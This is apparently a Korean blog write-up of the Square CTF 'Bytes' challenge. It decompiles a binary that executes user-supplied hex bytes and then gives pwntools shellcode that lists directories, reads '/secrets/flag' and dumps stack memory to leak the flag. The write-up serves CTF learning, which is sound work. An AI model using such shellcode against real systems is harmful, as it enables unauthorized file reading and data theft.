본문 바로가기
시스템 해킹/CTF

[Square CTF] Bytes

by L3m0n S0ju 2021. 9. 4.

Name

Bytes - You can use a lot of bytes.

Points

50 points

Type

Exploit

Description

Our operatives found this site, which appears to control some of the androids’ infrastructure! The robots love x86 assembly; the only thing easier for them to work with is binary. 64 bytes should be enough for anyone.

[DOCKER]
docker run --rm -p 8080:8080 squarectf/bytes
then visit http://localhost:8080/

[VMware] http://192.168.xxx.xxx:7701

 

 

 

 

 

 


문제 서버에 접속하면 위와 같이 64바이트 크기만큼 데이터를 보낼 수 있는데 보낸 데이터는 실행된다고 합니다. 목표는 환경변수의 WUNTEE_CHALLENGE_FLAG가 가르키는 값의 내용을 읽는 것이라고 합니다. 위 문제 파일을 다운로드하여 정적분석 툴로 분석하겠습니다.

 

 

 

 


void read_flag(char *param_1)

{
  char *__filename;
  FILE *__stream;
  
  __filename = getenv("WUNTEE_CHALLENGE_FLAG"); // 환경변수에 저장된 정보 가져옴
  if (__filename == (char *)0x0) {
    printf("%s environmental variable not set. Could not read flag.\n","WUNTEE_CHALLENGE_FLAG");
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  __stream = fopen(__filename,"r"); // 정보에는 경로가 포함되어 있음을 예측할 수 있음
  if (__stream == (FILE *)0x0) {
    puts("Could not read file.");
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  fgets(param_1,0x80,__stream); // 파일을 읽어옴
  fclose(__stream);
  return;
}

 

void main(int param_1,int param_2)

{
  undefined4 local_a4;
  undefined local_a0 [128];
  code *local_20;
  size_t local_1c;
  int local_18;
  uint local_14;
  undefined4 *_argc;
  
  _argc = &param_1;
  local_a4 = 0;
  local_1c = 0;
  setvbuf(stdout,(char *)0x0,2,0); // 버퍼를 사용하지 않고 사용자와 상호작용 하겠다는 뜻
  setvbuf(stderr,(char *)0x0,2,0);  // 버퍼를 사용하지 않고 사용자와 상호작용 하겠다는 뜻
  alarm(7);
  if (param_1 != 2) { // 인자 한개만 넣어야 오류 안남
    bad_input();
  }
  local_1c = strnlen(*(char **)(param_2 + 4),0xffffffff); // (param_2+4)는 입력한 인자에서 부터 최대 0xffffffff 만큼 읽어서 길이를 local_1c에 저장하겠다는 의미

 

  if ((0x80 < local_1c) || ((local_1c & 1) != 0)) { // 길이가 128보다 크거나 홀수이면 종료
    bad_input();
  }
  local_20 = (code *)mmap((void *)0x0,0x40,7,0x21,-1,0); // 원래는 fd를 읽어서 해당 파일의 내용을 복사하는 용도이지만 현재 fd에 -1이 있으므로 0x40바이트만큼 크기의 힙메모리를 할당만 받음 그리고 할당받은 메모리 주소를 local_20에 저장합니다. 조금 더 자세히 설명하면 할당받는 힙 메모리의 위치는 시스템에 임의로 정하기 때문에 랜덤이고 해당 메모리 위치에서부터 0번째 부터 0x40바이트 크기 메모리를 할당받는데 7은 모든 권한을 의미하므로 해당 메모리에서 쉘코드를 실행할 수 있다는 의미로 받아들일 수 있다. 따라서 NX 보호기법을 우회할 수 있다. 마지막으로 0x21은 0x20과 0x1 옵션이 합쳐진 것으로 0x20은 MAP_ANONYMOUS로 파일 디스크립터를 사용하지 않겠다는 설정입니다.


  local_18 = 0;
  for (local_14 = 0; local_14 < local_1c; local_14 = local_14 + 2) { // 2칸씩 이동하여 문자열 길이보다 커지면 종료

    __isoc99_sscanf(*(int *)(param_2 + 4) + local_14,&DAT_08048a18,&local_a4); // DAT_08048a18은 %2x를 가르키므로 16진수 형식으로 좌측에서 2개만큼 크기로 형변환 하겠다는 의미이다.(추가로 %x은 우측에서부터 8개만큼 16진수를 읽어들인다.) 즉 f4d2 문자열을 sscanf로 형변환하면 앞에 16진수 2개인 f4만 가져와서 저장한다. 그리고 f4는 각각 1바이트를 합쳐서 형변환을 통해 f4가 한 바이트로 된다. 여기서 local_14를 1이 아닌 2를 계속 더해주는 이유가 여기에 있다. char 형식에서는 16진수 한개가 한바이트이므로 2바이트씩 계속 더하면 모든 문자열을 거쳐갈 수 있다. 


    local_20[local_18] = SUB41(local_a4,0); // SUB41 함수는 ghidra 디컴파일러에서 자체적으로 사용하는 함수로 데이터를 절삭하는 용도를 지니고 있다. local_a4 자료형은 4바이트 크기이므로 1바이트 크기로 절삭한다. 따라서 절삭한 1바이트를 local_20 배열 인덱스 0부터 차곡차곡 저장한다.


    local_18 = local_18 + 1;
  }
  printf("Shellcode location: %p\n",local_20); // 16진수가 저장된 배열 위치 출력
  printf("Flag location: %p\n",local_a0); // 플래그 저장될 위치 출력
  sleep(1); // 브루트포스 방지, Sleep는 밀리초 단위 sleep는 초 단위
  read_flag(local_a0); // local_a0에 플래그 저장
                    /* WARNING: Could not recover jumptable at 0x080488ec. Too many branches */
                    /* WARNING: Treating indirect jump as call */
  (*local_20)(); // 쉘코드 실행
  return;
}

 

 


ghidra의 CodeBrowser로 파일을 열면 위와 같이 코드를 확인할 수 있습니다. IDA로 확인하면 오류가 발생해 코드가 깨지므로 ghidra를 사용하였습니다. 

 

 

 

 


checksec으로 보호기법을 확인하면 NX 기법이 적용되어있고 파일을 실행할 때 마다 location이 바뀌는 것으로 보아 ASLR이 적용되어있음을 알 수 있습니다.

 

 

 

웹사이트에서 1234를 입력해도 똑같은 결과가 출력됩니다. 밑에 SIGSEGV는 세그먼테이션 오류로 허용되지 않은 메모리에 접근하면 발생하는 시그널입니다.

 

 

 

 

 


코드를 하나씩 살펴보면 쉘코드만 삽입하면 작동할 것이므로 아래와 같이 쉘코드를 생성한다. 그리고 실행하면 디렉터리 정보를 알아내는 입력값을 찾을 수 있다.

 

 

ls 명령어

 

from pwn import *
context.arch = "i386"
code = b""
code += asm(shellcraft.open(".")) // 현재 경로 디렉터리 정보 가져옴
code += asm(shellcraft.getdents("eax","esp",2000)) // 파일 디스크립터는 eax에 저장되어 있으므로 2000만큼 읽어서 디렉터리 정보를 esp에 저장

code += asm(shellcraft.write(1,"esp",2000))

code.hex()

 

 

 

 

 


디렉터리에는 core, Gemfile, challenge.rb, bytes 정도의 파일이 있는 것을 확인할 수 있다. 하지만 플래그 파일은 보이지 않으므로 다른 디렉터리를 찾아봐야 합니다. 플래그라 있을만한 디렉토리는 다음과 같습니다.

 

/

/tmp

/var

/var/www

/var/log

/home

/usr

/etc

/root

 

 

 

 


루트 디렉터리부터 차례대로 ls 명령어를 입력하겠습니다.

 

code = b""
code += asm(shellcraft.open("/"))
code += asm(shellcraft.getdents("eax","esp",2000))

code += asm(shellcraft.write(1,"esp",2000))

code.hex()

 

루트 디렉터리를 잘보면 secrets라는 파일이 또는 디렉터리가 있습니다. 디렉터리라고 가정하고 안으로 들어가보겠습니다.

 

 

 

 

 


code = b""

code += asm(shellcraft.open("/secrets"))
code += asm(shellcraft.getdents("eax","esp",2000))

code += asm(shellcraft.write(1,"esp",2000))

code.hex()

 

위 그림과 같이 flag파일을 찾을 수 있습니다. 마지막으로 flag 파일을 열어보겠습니다.

 

 

 

 

cat 명령어 쉘코드는 아래와 같습니다.

 

code = b""

code += asm(shellcraft.cat("/secrets/flag"))

code.hex()

 

 

 


플래그

 

 

 

 


추가적으로 더 간단히 푸는 방법 또한 있습니다. 플래그가 저장되는 local_a0는 지역변수이므로 esp 가까운 위치에 있을 것이므로 esp에서 2000만큼의 데이터를 읽어오는 아래 명령어를 통해 쉽게 플래그를 획득할 수 있다.

 

code = b""

code += asm(shellcraft.write(1,"esp",2000))

code.hex()

 

 

 

 

 


'시스템 해킹 > CTF' 카테고리의 다른 글

[HackCTF] Basic_BOF #1  (0) 2021.09.10
[Square CTF] 6yte  (0) 2021.09.04
보호기법 정리  (0) 2021.08.20
[Nebula] Level 03  (0) 2021.08.19
[Nebula] Level 02  (0) 2021.08.19

댓글